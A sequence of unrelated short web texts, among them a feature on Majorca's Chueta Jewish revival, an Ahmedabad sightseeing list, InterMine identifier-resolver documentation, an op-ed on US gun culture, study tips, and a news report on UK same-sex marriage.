“Having one receiving point (the production center) instead of 79 individual campuses keeps the cost of fresh fruit reasonable,” said Matt Morgan, food service director for the district. He and his staff have also developed other healthy recipes they produce in large quantities and serve at each campus, such as entrée salads, including grilled chicken Caesar salad, chef’s salad, southwest grilled chicken salad and fresh spinach salad.
“Serving food to a hundred thousand kids is a daunting task,” said Morgan. “But even with that many kids, there are easy low- and no-cost changes that can make a huge difference in the quality of nutrition.”
Matthew Morgan, telephone interview, April 19, 2011.
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An American who landed in Majorca five years ago soon found himself working to revive the Mediterranean island's Jewish community - with the help of families forced to convert from Judaism to Christianity 500 years ago.
When Dani Rotstein arrived in Palma in 2014, he was planning only a short break from the crowds and chaos of New York City. But when he fell in love with a Catalan woman he decided to stay; the pair got married in May 2017. Dani was very happy, but something was missing. If Majorca was to become his permanent home, he needed to find a Jewish community - and Majorca's Jews had been burned, exiled or forcibly converted during the Spanish Inquisition.
"I literally came to Majorca thinking I would never find anyone Jewish or anything Jewish," Dani says.
By the time he got married, he already knew there was Jewish life on Majorca. There was a synagogue, anyway, though it came to life only for Friday-evening prayers, and even then struggled to attract the necessary 10 men.
Jewish families on the island rarely came together for Shabbat dinners or other Jewish holidays. It was hard for Dani to imagine raising his family under conditions so different from those of his own New Jersey childhood. So he began searching for solutions.
Around the same time, Toni Pinya found himself on a journey of a different kind. Unlike Dani, a lifelong Jew new to Majorca, Toni was a lifelong Majorcan new to Judaism.
Toni is a Chueta, one of roughly 20,000 descendants of the Jews forcibly converted during the Inquisition. Like most Chuetas, Toni grew up Christian, but although his family had been Catholic for generations, Majorcans still treated him differently - his Chueta surname set him apart. His classmates bullied him and made fun of his heritage. "If a girl were to date a Chueta, her parents would say, 'He's the one who killed Jesus Christ,'" he says.
At the age of 12, Toni gave up on religion altogether. But in middle age he grew interested in exploring his Jewish roots.
As Dani settled into life in Majorca, he began learning about its hidden Jewish history. He'd never heard of the Chuetas, even though his mother taught Jewish education. "I take it personally," he says. "I'm like, 'How has this incredible story not made it out of the island, or to Spain for that matter?'"
The first attack on Palma's Jewish quarter, in 1391, killed between 100 and 300 Jews. Later, as the Inquisition gathered momentum, the majority of Jewish Majorcans converted under duress, though many continued practising Judaism in secret.
Hundreds of these converts were tortured and killed throughout the 1400s and 1500s. When 37 Jews tried to escape by boat in 1688, they were captured. After three years of torture, Inquisitors killed them in 1691, burning three alive at the stake. They hung a list of their surnames in the Santo Domingo Convent for all to see (which stayed up until 1820). Their descendants became known as the Chuetas - from the Catalan word meaning bacon.
In addition to learning about the Chuetas, Dani discovered that the existing Jewish community in Majorca was fractured. Over the years, control of the synagogue had changed hands. British expats had given way to Orthodox Jews, and then to Sephardic Jews, each with their own style of prayer. Among the worshippers were Sephardim and Ashkenazi, Orthodox and Reform, with their various different traditions. There was no consensus about which prayers to include, the participation of women, or the role of the synagogue in organising social events - and no rabbi to resolve tensions. People attended weekly services, but that was it.
Dani also learned that not long previously Palma had held a half-day Limud - a Jewish learning conference open to all, encompassing religion, culture and tradition. He thought more of this could be what Majorca needed. He contacted organiser Karen Kochmann with a proposition: how did she feel about putting on a full, weekend-long event with him in 2018, in order to bring everyone together, Chuetas included? "I said, 'We're going to do Limud,'" Dani says. "We just did it - somehow, someway."
So Majorca's diverse Jewish community came together for a weekend. And a number of Chuetas told their stories, including Toni, who talked about his own unusual journey to Judaism.
As a professional chef, Toni enjoys learning the history behind the things he cooks. He can trace the origins of popular Majorcan dishes back to the eras of Roman and Muslim rule on the island. Since there is evidence of Jews on Majorca as early as the Fourth Century, he knew Jewish food must have existed, too. But when he went looking for these recipes, he failed. "There was nothing there," he says. "Everything was erased."
His quest to understand Jewish cuisine led him to the Torah, and he was surprised to find that some of his grandmother's cooking habits - the distinctive way she killed animals, her avoidance of pork or pork fat, and the words she uttered over certain foods before eating - all were echoed in the traditional rules of cooking found in the Torah and other religious texts. He believes his family had kept these traditions alive for generations without remembering where they came from.
This wasn't the case in all Chueta families. Some not only cooked pork, but cooked it outside, so that everyone could see. It was one of many ways they worked hard to prove their devotion to Christianity, even centuries after their families had converted. Some also opened their windows wide as they performed housework on Saturdays, the Jewish Sabbath. In Catalan, the phrase "to work on Saturday" is an idiomatic way of referring to housework, which some suspect has its origins in this practice. Toni's own family showed its commitment by rarely missing a church service. "As I grew up, I got so tired of it," he says, "tired of having to prove myself."
As Spain evolved after the death in 1975 of the dictator, Gen Francisco Franco, foreign tourists began flocking to Majorca. In time, German and British Jews put down roots, raised money and opened a synagogue - watched carefully by some Chuetas. "It sparked their curiosity," Toni says.
He was one of them. Eventually he joined about a dozen other Chuetas in returning to Judaism and officially converted in Israel in 2013. He went back there five years later to marry another Chueta convert, Francisca Maria Oliver Valls under a traditional wedding canopy, a chuppah, in the West Bank town of Migdal Oz.
Dani felt strongly that the Chuetas should be embraced as part of the island's wider Jewish family, even if they were not practising Jews. Others weren't so sure.
Converted Chuetas like Toni were already becoming stalwarts of the Palma synagogue and some of the most devout Jews on the island. But how far the synagogue should welcome those who have not converted is an issue that continues to divide opinion. A respected Israeli Orthodox rabbi ruled in 2011 that all Chuetas were Jewish by virtue of their family history; one side-effect of the years of discrimination is that marriages with non-Chuetas remained rare. But some of the more observant of Majorca's Jews feel uncomfortable counting Chuetas who have not officially converted in their minyan - the minimum number of 10 Jewish men required to pray.
"It's a big culture shock, I guess," says Karen. "Because in the UK or in Germany or even in Israel you don't have people who pop out of nowhere who are like, 'Oh yeah, my great-great-grandfather is now Jewish and now, out of the blue, I'm interested."
But the return of Chuetas to Judaism has also created some frictions within the Chueta community itself.
Like others in his community, Toni was raised to keep his background to himself. By openly becoming a Jew, he drew direct attention to his heritage and, some thought, increased the risk of the Chueta having to bear the brunt of anti-Semitism, as well as anti-Chueta prejudice.
It's not such a far-fetched idea. In the 1970s, Chuetas who owned the jewellery shops along Carrer de l'Argenteria in Palma, also known as Jeweller's Row, found swastikas spray-painted across their storefronts after a local television station broadcast a series on the Holocaust. Even today, kids use "Chueta" as an insult meaning "stingy" (a common anti-Semitic trope). And it's no secret that anti-Semitism has been on the rise across Europe.
The revival of Jewish life on Majorca, thanks partly to Dani and Toni, has taken place regardless. A Hanukkah celebration attracted 150 people, including 40 children, while 40 attended a recent Shabbat dinner. "Everyone kind of looked around saying, 'Where did all these Jews come from?'" Dani says.
In recent years a tiny Jewish history museum has opened in the old Jewish quarter, a labyrinthine collection of winding roads and forked intersections east of the cathedral. Dani, meanwhile, has opened a Jewish tourism company.
Among other things, he points out to visitors the groove running along the alley-side wall of Mont Zion Church that once housed a synagogue; rumour has it that generations of Chuetas ran their hands along the stones as they passed by in recognition of the building's Jewish roots, wearing down the stone.
Toni recently made a historical discovery of his own. While looking through old documents, he learned that a man with his name, Antonio Pinya, married a woman with his wife's name, Francisca, in Palma centuries ago. They were both killed in the Inquisition. "It feels like reincarnation," he says. "Here they are, hundreds of years later, they found each other again."
Last year, when Majorca's Jewish community held board elections, they elected an entirely new slate, including Dani and Toni and a second Chueta, the journalist and writer Miguel Segura. So two of the four board members are now of Chueta descent.
For Dani and Toni, this is an opportunity to forge a more inclusive community - but there is also a danger of deepening existing rifts.
"We don't have the answer of what Majorca Judaism is going to look like in five years, 10 years," Dani says. "I think our challenge, if we wish to accept it, and I think we do, is trying to find the shared values that connect all these Jews."
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Sidi Sayed Mosque, Sidi Sayed Mosque is unique for its exquisite screens, which are praised for their amazing Jhali screen, framed, in the ten semi-circular windows. The screen carved out of one rock is just exceptional. A visit to this superb and outstanding example of delicate carving is an absolute must.
Bhadra Fort, To add special charm to the varied sights of the city there is the Bhadra Fort, which once housed royal palaces and well-laid gardens. It boasts the temple of Bhadrakali and was built in 1411 during the Maratha rule.
Heritage Houses of poles, A living heritage, the structures are 200-400 years old and the people living in there are original ahmedabadi families and they still live there traditions. Souvener shop there where you could see all local crafts. There is an old world charm created in a huge house which is like a palace.
Akshardham Temple, Rich and Wonderful architecture. Located in Gandhinagar, about 20 km from Ahmedabad.
Science City, Newly built Science City is one latest happening place in the city
Vaishnodevi Temple, Replica of famous Vaishnodevi temple located at Sola Gandhinagar Highway.
Amar dham, This religious site is known for its architectural grandeur.
International Society for Krishna Consciousness (ISKCON) temple, This hindu temple depicts Krishna, and his lover, Radha, who is regarded as the personification of love
Kankaria Lake. A circular lake built in 1451 by Sultan Qutub-ud-Din. In the centre of the lake is an island garden with a summer palace known as Nagina Wadi. It has a very beautiful Musical Fountain show (although the music isn't too good, the lights and fountain are worth a trip). The lake is a popular recreation centre surrounded by parks, 'Bal Vatika' - an aquarium, a boat club, a natural history museum and a zoo.
Kamla Nehru Zoo This is near to Kankaria Lake and one of the best zoos in India.
Vastrapur Lake. Newly constructed artificial lake
Law Garden, Considered the main center of activity in Ahmedabad, one can purchase handcrafts and traditional Gujarati outfits, amongst other things
Sarkhej Roja, This is a small city located 10km southwest of Ahmedabad. It is widely known for its architectural complexes.
Hathisingh Jain Temple, Shahibaug Road. An impressive white structure, the Jain temple built of white marble and elaborately carved is dedicated to Dharmanath - the 15th Jina or Jain Apostle. Similar to all Jain temples, this temple to is rich in intricate carvings displaying, among other things, musicians
Calico Textile Museum. One of the finest textile museums in the world in one of Gujarat's famous carved wooden havelis. The museum displays a magnificent collection of rare textiles dating back to the 17th century. There is also an excellent reference library on textiles. Located in the Sarabhai Foundation, in Shahibagh the Calico Museum of Textiles, widely regarded as one of the finest textile museums in the world was constructed in 1949. It has the finest collection of not just textiles and clothes but also furniture, temple artifacts and crafts in the country. It has no less than five centuries of the finest fabrics spun, woven, printed and painted in different parts of India. It has a collection of marble, sandstone and bronze icons and busts split in two thematic sections- gallery for religious textiles and historical textiles. An excellent reference library on textiles is found here.
Juma Masjid, (mosque). It is amongst the most popular tourist sights in the city. Built of yellow sandstone this mosque stands on 260 pillars which support 15 domes at varying elevations. The mosque was built by Ahmad Shah in 1423. It is easily accessible as it stands in the centre of the old city. This imposing structure reflects the Muslim architecture of that period.
Jhulta Minara, Quite an unusual structure, Jhulta Minara or swaying minarets are a part of the mosque of Siddi Bashir and can be moved back and forth by applying a little force at the topmost arch. One of the minarets was partly demolished by an Englishman in his endeavors to unravel the mystery of the swaying minarets. The mosque was built by master craftsmen and the crucial mechanism that leads to the vibration is still a mystery. The other interesting fact here is that these minars stand the test of the rumbling trains that pass not very far away from them.
Indian Institute of Management (IIM) in Vastrapur, the best School of Management in India was built by Louis Kahn and is a wonderful architectural creation.
Darpana Academy of Performing Arts, is one of the oldest performing arts academies in the city. Its amphitheater Natarani has a fabulous performance venue overlooking the Sabarmati river and is one of the few places to bring internationally acclaimed performing artists to the city.
Lalbhai Dalpatbhai Museum, It is one of the best arts displaying museum in city. It has a wide collection of Indian miniature paintings, stone sculptures, terracotta, paintings of Tagore, art of Nepal and Tibet, bronzes, textiles, wood work, cloth paintings, metal sculptures, coins. A must see museum in Ahmedabad city.
Veechar Utensil Museum, the only museum in the country showcasing over 3000 utensils used by the various households in India. It's a personal collection of Mr. Surendra Patel who has curated and designed the museum. The museum is a part of Vishalla, a restaurant serving ethnic Gujarati Food. It's a magnificent museum showcasing a very different culture of India.
Ahmedabad city is located in the state of Gujarat, in the western part of India. Ahmedabad lies along the Sabarmati River. Ahmedabad is 440 km north of Mumbai.Ahmedabad is associated with the Father of the Nation Mahatma Gandhi, the apostle of peace and non violence.
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Holy Cross school has received a Brown Foundation Service Learning Grant and Principal’s Award for the 2020-21 School Year.
Faculty member, Rachel Kass will be working with Holy Cross juniors in partnership with the Lake Pontchartrain Basin Foundation and the Coalition to Restore Coastal Louisiana to learn about coastal erosion and the multiple lines of defense protecting south Louisiana communities from hurricanes and climate change.
In doing so, they will be taught the value of our coastal marshes and lead a project of marsh planting in bayous surrounding the Greater New Orleans area. The Brown Foundation Service Learning program supports teaching and learning strategies that connects academic curriculum to real needs in the community by implementing a learn-by-doing approach. Students get real-life experiences in the subject studied by meeting community needs through active participation.
Congratulations to Rachel Kass and Holy Cross.
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Our campaigns aim to support those in the field to build on their capacity whilst raising public awareness and confidence in restorative practice.
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By: Michael Twery, Ph.D., Director, National Center on Sleep Disorders Research, the National Heart, Lung, and Blood Institute
Why is sleep important to you? An estimated 35 percent of U.S. adults report less than seven hours of sleep during a typical 24 hour period. Sleepiness resulting from insufficient sleep, irregular sleep schedules, or poor quality sleep is a cause of motor vehicle crashes, occupational errors with hazardous outcomes, and difficulty performing daily tasks. Sleep and wakefulness disorders affect an estimated 15-20 percent of US adults who are more likely to suffer from chronic disorders including depression, substance abuse, hypertension, diabetes, cancer, stroke, and all-cause mortality. Resilience to stress, emotional regulation, and inter-personal relationships are impaired by sleep deficiency. Recent findings suggest that investing in sleep health contributes to maintaining brain health, and ultimately protecting cognitive functions necessary for aging-in-place. Recognizing and addressing sleep health issues presents opportunities for enhancing public health, and improving the well-being of all people.
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Descended from Darwin: Insights into the History of Evolutionary Studies, 1900-1970 (Transactions 99, Part 1)
Joe Cain and Michael Ruse
This vol. has its origins in a conference, held October 22-23, 2004, at the American Philosophical Society (APS) Library, Philadelphia. The main focus was on evolutionary studies in America before, during, and after the famous “synthesis” period of the 1930s and 1940s. The synthesis period has been the focus of substantial new research and important new thinking. This vol. brings together 15 specialists to explore these developments and to press further. Questions shaping these essays focus on the following broad themes: Continuity and breaks across generations; Emerging narratives for the period; New research opportunities at the APS; New ideas from the research front; Placing evolutionists in the broader context of biology; and Future directions. In addition to 15 original essays, this vol. includes a thoughtful introduction by Michael Ruse.
Vergilius Redivivus: Studies in Joseph Addison's Latin Poetry (Transaction 95-2)
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Origins of Calvin’s Theology of Music: 1536-1543: Transactions, APS (vol. 69, part 4)
Descartes and the Hyperbolic Quest: Lens Making Machines & Their Significance in the Seventeenth Century (Transaction 95-3)
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Reporters got their first glimpse Wednesday afternoon of “Fake Lake”in the G20 media centre at Exhibition Place.
Tucked in a corner of the hangar-like building is a wooden deck with Muskoka chairs facing the “lake” and a big screen with changing Muskoka scenes, including a rushing stream and more of the iconic lakeside chairs.
Canoes stacked on racks flank the display, meant to give international reporters a taste of Huntsville, where the G8 summit is happening under intense security but few reporters will actually go.
Staff served up free espressos beside the exhibit, next to more urban-looking black leather sofas.
“This is it?” was the disappointed reaction from several Canadian reporters who apparently expected a substantial water body and got a modest, centimetres-deep pond smaller than the fountains found in many shopping malls.
The respite for reporters has become, for many, a symbol of the cost of the G8 meeting and the G20 gathering in Toronto this weekend, which is costing more than $1 billion for security alone.
No foreign media were there when the Star stopped by minutes after the media centre opened.
But Chin-yu Chiu, a reporter for World Journal, a Toronto-based Chinese-language publication, said Fake Lake will impress reporters who can get a latte, recline in a chair and write their stories to the piped-in sounds of wild birds.
“It shows the lakeside of Ontario. Maybe they’ll enjoy it and find a way to take a trip to Muskoka,” Chiu said.
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The ID resolver uses the files in the specified directory to create a large map. The key for the map is the unique identifier (the MOD ID, for example the MGI:, RGD, FBgn, ZFIN: identifiers). The values in the map are all the symbols, old identifiers, dbxrefs (e.g. Ensembl).
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The ID resolver then uses this map to replace old or non-unique identifiers with the unique identifier. This allows genes to be merged correctly into the database, and lets each mine be interoperable with other friendly mines.
The ID resolver is used in several data sources, Homologene for example.
If you look at the Homologene data, you'll see they don't use the MGI identifier. See:
When parsing the Homologene data file, the ID resolver replaces the symbol "Pax6" with the MGI identifier. The parser sets MGI:97490 to be the primary identifier then stores the gene to the database. Similarly, it replaces Pax6 with "RGD:3258" for the rat gene. And so on.
|EntrezGeneIdResolverFactory||NCBI gene info for a collection of organisms||ftp://ftp.ncbi.nih.gov/gene/DATA/gene_info.gz|
|FlyBaseIdResolverFactory||flybase chado db, for ‘’D.melanogaster’’ only||ftp://ftp.flybase.net/releases/current/psql flybase chado|
|WormBaseChadoIdResolverFactory||wormbase chado db, for ‘’C.elegans’’ only||modENCODE specific|
|HgncIdResolverFactory||HGNC human gene ids||Uses the biomart service at http://www.genenames.org|
Many data converters use the Entrez (NCBI) Gene ID resolver:
Download the identifier file -
Unzip the file to
Create a sub directory
/DATA_DIR/idresolver/as file root path and a symbolic link
entrezto the file$ cd /DATA_DIR/idresolver/$ ln -s /DATA_DIR/ncbi/gene_info entrez
Add the root path to the file in
Id resolvers and corresponding symbolic to data file:
In the data converter, the ID resolver is given an identifier. The resolver then looks in the map for the identifier.
|number of matches||returns|
A factory will find data root path from
~/.intermine/MINE_NAME.properties, path needs to be absolute.
the key and the symbolic link of the data file need to be hard-coded in factory class, e.g. in
As for database case, e.g. flybase chado
the key also needs to be hard-coded in factory class, e.g. in FlyBaseIdResolverFactory
The Entrez gene identifier source has a configuration file,
entrezIdResolver_config.properties. You shouldn't have to edit this file.
This config will parse fruit fly identifiers, e.g. FLYBASE:FBgn0088803
If you don't want to strip the prefix from the identifier, use this config:
Warning The EBI changed how they format their data. If you have a recent data file, you do NOT want the above configuration for MGI.
To replace a taxonomy identifier with a strain, use the following:
To ignore certain organisms, do this:
IdResolverService is a java class providing static methods to get id resolver directly. It's also the most straight forward way to create an id resolver. For example, to create a fish id resolver by taxon id in a converter:
You can use the IdResolverService to create resolver by taxon id, a list of taxon ids, or by organism, e.g.
As the resolver maintains java maps of one or more organisms' identifiers, you must explicitly tell it which organism you want it to resolve for, e.g.
It is also possible there are two or more matching primary identifiers for a particular identifier, in this case, discard this identifier, e.g.
An IdResolver factory will create an IdResolver which will read and parse data from a file or database containing identifier information, to save them to a Java map which will be written to a cached file.
The new factory class needs to inherit super class IdResolverFactory:
Multiple taxon ids:
Multiple files or mixture of file and db:
Add resolver factory to IdResolverService:
- generalized resolver factory which will read a configuration file to be aware of identifier information by column. e.g. type=tab, column.0=mainId, etc.
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Stickily-hairy perennial of disturbed ground, bare places and hedges, this plant blooms from May to October with very white flowers, both male and female, 25-30mm across, with 5 petals. The hairy calyx is ovoid and becomes swollen in fruit and is not marked by the same pattern as that of Silene maritime. The leaves are opposite, lanceolate and stickily hairy. This plant was possibly introduced and belongs to the family Carophyllaceae.
I first identified this near to Lough Derg in Co Tipperary in 1981 and photographed it by the side of the road in Ballitore, Co Kildare in 2002.
If you are satisfied you have correctly identified this plant, please submit your sighting to the National Biodiversity Data Centre
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By Jesse L. Jackson, Sr.
America’s gun culture costs lives and feeds our fears. Consider the most recent injustice in Florida, the verdict in the Michael Dunn case, and the most recent news about America’s “guard labor.”
In Jacksonville, Fla., Michael Dunn, a 47-year-old White man, was aggravated by the loud rap music coming from an SUV filled with four Black teenagers in a convenience store parking lot. An exchange of insults ensued. Dunn, who was armed and clearly dangerous, claimed that he was threatened by Jordan Davis, a 17-year-old high school senior, and later claimed he saw the barrel of a shotgun coming from the SUV. There was no shotgun; no other witness saw anything that might resemble a shotgun. Dunn opened his door and fired 10 shots into the SUV as it drove away, killing Jordan Davis. Dunn then drove away without calling the cops, and without ever mentioning that the boys had a shotgun.
Under Florida’s inane “Stand Your Ground” law, however, Dunn had the right to use lethal force to defend himself if he “reasonably” thought his life was threatened. Dunn’s lawyer said, “I don’t have to prove the threat, just that Mike Dunn believed it.” The Jacksonville jury found Dunn guilty of three counts of “attempted murder” in his strafing of the car, but they couldn’t come to a decision on his murder of Jordan Davis. In Florida, it is increasingly dangerous to be young, Black and male.
In the New York Times on Monday, Samuel Bowles and Arjun Jayadev report in “One Nation Under Guard” that the U.S. now employs more private security guards than high school teachers. Tallying up all of what they call “guard labor,” including police officers, prison guards, soldiers, etc., they come to a figure of 5.2 million, more than all teachers at all levels. The “guard labor” share of the labor force in America has risen dramatically since the 1970s, as inequality has reached new extremes.
Bowles and Jayadev find that guard labor and inequality are connected. We have four times as much guard labor as Sweden, a country of equal living standards but far less inequality. States with extreme inequality like New York and Louisiana have far more of their work force employed in guard labor than states with less inequality like Idaho and New Hampshire. Bowles and Jayadev discount race as a factor, but obviously Sweden, New Hampshire and Idaho are also far less diverse than the U.S., New York and Louisiana.
Bowles and Jayadev note that social spending seems to decline as guard labor grows. The U.S. is spending more of its money on guards and less on opportunity.
One haunting feature of South Africa under apartheid was the extent to which the homes of the affluent whites were protected by walls, barbed wire and private guards. Fear of crime and of majority revolt pervaded the country.
Our gun and guard culture is, at root, also about fear. We pride ourselves on being the home of the brave and land of the free. But increasingly we are the home of the fearful, and land of the armed. Michael Dunn’s murderous rage was grounded in fear. Our soaring guard labor reflects rising fear. As Jacksonville demonstrated once more, guns can make those fears deadly.
We would be far better off investing in opportunity rather than fear, making the country less unequal and more confident in its diversity. Contrary to the NRA, spreading concealed weapons around makes our streets more, not less, dangerous. Contrary to real estate agents, gated communities and armed guards offer more provocation than protection. In the end, real security comes not from guards or guns, but from justice.
Jesse L. Jackson, Sr. is founder and president of the Chicago-based Rainbow PUSH Coalition. You can keep up with his work at www.rainbowpush.org
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Blog It Forward- Manikandan Elumalai
My Name is Manikandan a.k.a. Mani, a predominantly used name in south India. The name Manikandan generally means One with a bell around his neck or Lord Ayyappa, is of Indian origin. The name Manikandan is ranked on the 7,087ᵗʰ position of the most used names. An estimate states that there are at least 18000 persons in the world having this name which is around 0.002% of the population.
I born and grew up in a south Indian state of Tamilnadu, a town named Gingee famously called as Gingee Fort. Gingee is also called as “Troy of the East” during British era. To know more about my birth place, you can have a look here http://en.wikipedia.org/wiki/Gingee_Fort
I have been working in SAP technologies for almost 9 years and currently working with Cognizant Technology Solutions for the past 2 years working primarily in consulting role. To know more about my employer, here you go http://www.cognizant.com & http://en.wikipedia.org/wiki/Cognizant. As per Fortune magazine Cognizant is world’s 3rd most admired IT services company after Accenture and IBM. Here is cognizant’s ranking
Almost 50-60% employee’s of Cognizant is based on Chennai which is approximately equivalent to that of State government employees in Chennai. There were so many BIF to speak about chennai, so am not going to include it in my BIF.
I am based out of Chennai, India and I am active in BI Platform & SAP Lumira spaces of SCN. Here is my response for Priyanka’s BIF questions posted here http://scn.sap.com/community/about/blog/2014/03/26/blog-it-forward-priyanka-musale
1. What personal trait makes you different than others?
It’s my attitude which is in line with my blood group. Guess what? It’s none other than B+.
2. Share a funny/Tricky story about your experience with SAP.
I was working with one of the global clients who specialized in professional services sometime back in 2010 and I was asked to do a RAC (root cause analysis) for their outstanding issue. The issue is all about a major change in the BusinessObjects environment and there is not even a simple trace for what is changed in the environment. After days of investigation & research, we found the issue with the help of SAP Support.
The issue is during the server restart, server communication has been disrupted. As a result bits in a byte has been changed somehow, for example (11111100 has changed to 11110000) which caused the major change in the environment. Simple but causes sleepless nights for me at least a week or two.
3. What do you like about SAP Product/Services?
High Quality & standard, Customers all across the globe, Opportunity to learn and grow, Periodic product evolution based on industry needs – All these helps every individual to achieve both personal and professional goals.
I would like to blog it forward below people
Dallas Marks , Denis Konovalov , Toby Johnston , Timothy Coffman , Matthew Shaw , Siddhartha Nirgudkar , Sohel Ahmed Syed , Durgamadhab Mishra , Mallikarjuna Narayandas , Victor Gabriel Saiz Castillo, Shankar Narayanan SGS
And Questions for all are listed below.
- Where do you not mind for waiting?
- What would you refuse to do for one billion dollars?
- If you go to a psychiatrist, what would he say you suffer from?
- If you could dis-invent one thing, what would it be?
Hope you all enjoyed my BIF blog. Thanks for reading.
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Recent fires at premises as diverse as Ocado's distribution center in Andover, Chester Zoo and most recently Notre Dame Cathedral, have been found to be caused by electrical faults. This shines a spotlight on the need for businesses to regularly have electrical systems and appliances checked regularly.
About the author
Simon Broome SIIRSM Tech IOSH has over 25 years' experience around risk management, honed through his industry background and working on operating software and management systems. He is a Specialist Member of the International Institute of Risk and Safety Management and a Technical Member of IOSH, and also holds the NEBOSH National Certificate in Fire Safety and Risk Management.
Read risk management articles by Simon
- Business Continuity Planning
- Health & Safety Bulletin - April 2019: HSE Intervention Enforcement Notices on the Increase
- Health & Safety Bulletin - April 2019: Notra Dame Blaze Highlights Risk of "Hot Works"
- Health & Safety Bulletin - May 2019: Recent Spate of Fires Caused by Electrical Faults Suggests Businesses Need to Check Electrical Systems
- Information Update - Health & Safety
- Insurance Update - Claims Defensibility Review Service
- Risk Bulletin - Health & Safety Competent Person
- Risk Alert – Why is it So Important to Have a Business Continuity Plan?
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Hacks That Will Help You Study For A Test In One Night
Tips To Study For A Test In One Night
Sometimes students forget how to study for tests or wait until the last minute. Do not worry because I got your back. However, I am not saying that it is okay to wait for the last minute. You have to start preparing early in order to get some decent grades. Anyway, this is what to do if you have limited time:
Gather your materials
Gather everything whether it is the notes, books, printout, or PowerPoint. Make sure you have any handouts that were distributed and any material containing information about the exams. Read them and highlight any information that you find important and those that you do not understand.
Stay away from electronics
Put your phone or tablet away and close and social media tabs on your laptop. All these will be a distraction. You only have a few hours to study so taking a break from social media will be a good thing for both your mind and the learning process.
Use flash cards
Using flashcards improves the learning process when studying. Write a vocabulary or a question on one side then write the answer or definition on the other side. Before switching to the next card read it repeatedly.
Do not dedicate your whole night to cramming. Your brain needs a break so make sure to check out various study methods. Try taking out a 10-minute break every hour.
Junk food is poisonous for your health and your memory. It is difficult to retain information when your sugar levels are high. Junk food makes you feel tired and makes you pay less attention to what you are doing.
Get enough sleep
Taking an all-nighter is not going to be helpful in the morning when you are taking the exam. You might end up forgetting everything that you studied and draw a blank. Make sure to get at least 6-8 hours of sleep the night before and take a healthy breakfast in the morning.
Avoid stressing yourself
I know that this is hard but stressing over the exam will not help your studying process. Focus on what you have to do. Take a deep breath and think, whatever happens, happens, and you will do better next time. You cannot force yourself to remember information that you just cannot get. The best you can do is read it over before bed and sleep. Wake up in the morning and go over the flash cards once, have your breakfast and go to your exam room.
Do you study for your exams last minute? What tips do you use to get you through the process?
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(I’m trying to write book notes compilations one section at a time. One excerpt per day with the goal of filling one iA Writer screen up. About 350 words.)
This week, I’m focusing on Apprenticeship Patterns, by Dave Hoover and Adewale Oshineye. Dave and Adewale talk about software as a craft and give guidance on how you can improve as a craftsman. It’s targeted toward developers, but a bunch of it applies to designers. (And even beyond that.)
One of the patterns is called “Expand your bandwidth”:
Expanding your ability to take in new information is a critical, though sometimes overwhelming, step for apprentices. You must develop the discipline and techniques necessary to efficiently absorb new information, as well as to understand it, retain it, and apply it.
They discuss setting up Google Reader to consume RSS feeds. They discuss one of the pitfalls that seems all too common today:
It’s possible to become obsessed with gathering and consuming new information, particularly as it becomes easier and easier to get at up-to-the-second thoughts on the most prolific thinkers in our industry. Some people could become lost in the sea of interesting information, and never come back to actually crafting software.
The book is from 2009 and there’s no mention of Twitter for keeping up with the latest information. That said, I was a pretty heavy Reader user and was just as addicted or even more so I ever was of Twitter. Reader made a lot of full content readily available.
One day, I remember stepping back and thinking, “Do I really need to see basically the exact same news from Engadget and Gizmodo?” That started the culling and then I was able to really cut things down and then eventually accept that I don’t need to read every. single. thing.
Because there’s value in all the available information out there, it might seem like a good idea to seek out as much of it as possible. Cal Newport discusses this in his book Deep Work:
This argument, however, misses the key point that all activities, regardless of their importance, consume your same limited store of time and attention. If you service low-impact activities, therefore, you’re taking away time you could be spending on higher-impact activities. It’s a zero-sum game. And because your time returns substantially more rewards when invested in high-impact activities than when invested in low-impact activities, the more of it you shift to the latter, the lower your overall benefit.
It’s important to remember that time taken by shallow activities could be applied to more important activities. Having taken extended breaks from different social media, there’s major FOMO. It goes away once you realize enough times that you never really miss much.
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This User-Defined Surface DLL provides a realistic model of relief-type diffractive lenses based on zone-decomposition. Using zone-decomposition, diffraction into multiple orders can be accurately considered at once, and this method inherently accounts for wavelength dispersion and diffraction efficiency by modelling the actual shape of the diffractive element.
Application examples include the creation of advanced intraocular lens models, where the different orders are designed to provide sharp vision for multiple viewing distances, thereby substituting accommodation of the natural crystalline lens.
This application is discussed in detail in the following knowledgebase article:
Realistic modeling of relief-type diffractive intraocular lenses using User-Defined Surface DLLs – Knowledgebase (zemax.com)
Source code download link:
Download files (DLL Surface): Relief Type Diffractive Surface | Zemax Community
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Gay marriage will make British society stronger, David Cameron has insisted as an historic change to the meaning of matrimony comes into effect.
Mr Cameron said the introduction of same-sex marriage in England and Wales - after a debate which bitterly divided his own party and pitted church against state - was a tribute to “the sort of country we are”.
Writing in PinkNews, the gay and lesbian website, he said the redefinition of marriage was in keeping with Britain’s “proud traditions of respect, tolerance and equal worth”.
But opponents of the change said it had “ripped up” the centuries-old understanding of marriage and divided the country.
New polling seen by The Telegraph also shows that the issue could cost the Conservatives significant votes in the local and European elections in May.
The ComRes survey found a quarter of 2010 Tory voters are now less likely to support the party as a result – more than twice as many as were attracted by the change.
It also underlined how gay marriage had bolstered gains made by the UK Independence Party from the Conservatives, with almost half of Ukip supporters saying the issue made them less likely to vote for the Tories.
Colin Hart, director of the Coalition for Marriage, which campaigned against the change, said: “David Cameron was right when he said that gay marriage was a vote winner - I just don’t think he meant the beneficiary to be UKIP."
From today couples of the same sex across England and Wales will be able to marry for the first time. Separate legislation passed by the Scottish Parliament last month will come into force later.
Dozens of couples across England and Wales are among the first in history to tie the knot in Britain.
At least four couples are due to secure a joint place in the record books with midnight ceremonies in Westminster, Islington, north London, Brighton and Northampton.
Peter Tatchell, the veteran gay rights campaigner, is chief witness at the marriage of his friends Peter McGraith and David Cabreza at Islington Town Hall.
Peter McGraith and David Cabreza ahead of their wedding (Reuters)
“We are thrilled to be getting married," said Mr McGraith.
“It is a mark of significant social progress in the UK that the legal distinction between gay and straight relationships has been removed.”
Mr Cameron has also sent personal wedding cards to some of the first same-sex couples to marry.
Writing in PinkNews, he said it was “an important moment for our country”.
“Put simply, in Britain it will no longer matter whether you are straight or gay – the State will recognise your relationship as equal,” he said.
“This is something that has been very important to me.
“I have been so lucky to find the most incredible lifelong partner in Sam and our marriage has been a very special part of the commitment we have made to each other.
“Of course any marriage takes work, requires patience and understanding, give and take - but what it gives back in terms of love, support, stability and happiness is immeasurable.
“That is not something that the State should ever deny someone on the basis of their sexuality.
“When people’s love is divided by law, it is the law that needs to change.”
The Deputy Prime Minister, Nick Clegg, told the Scottish Lib Dems' spring conference, that the change marked a "very special day" for Britain.
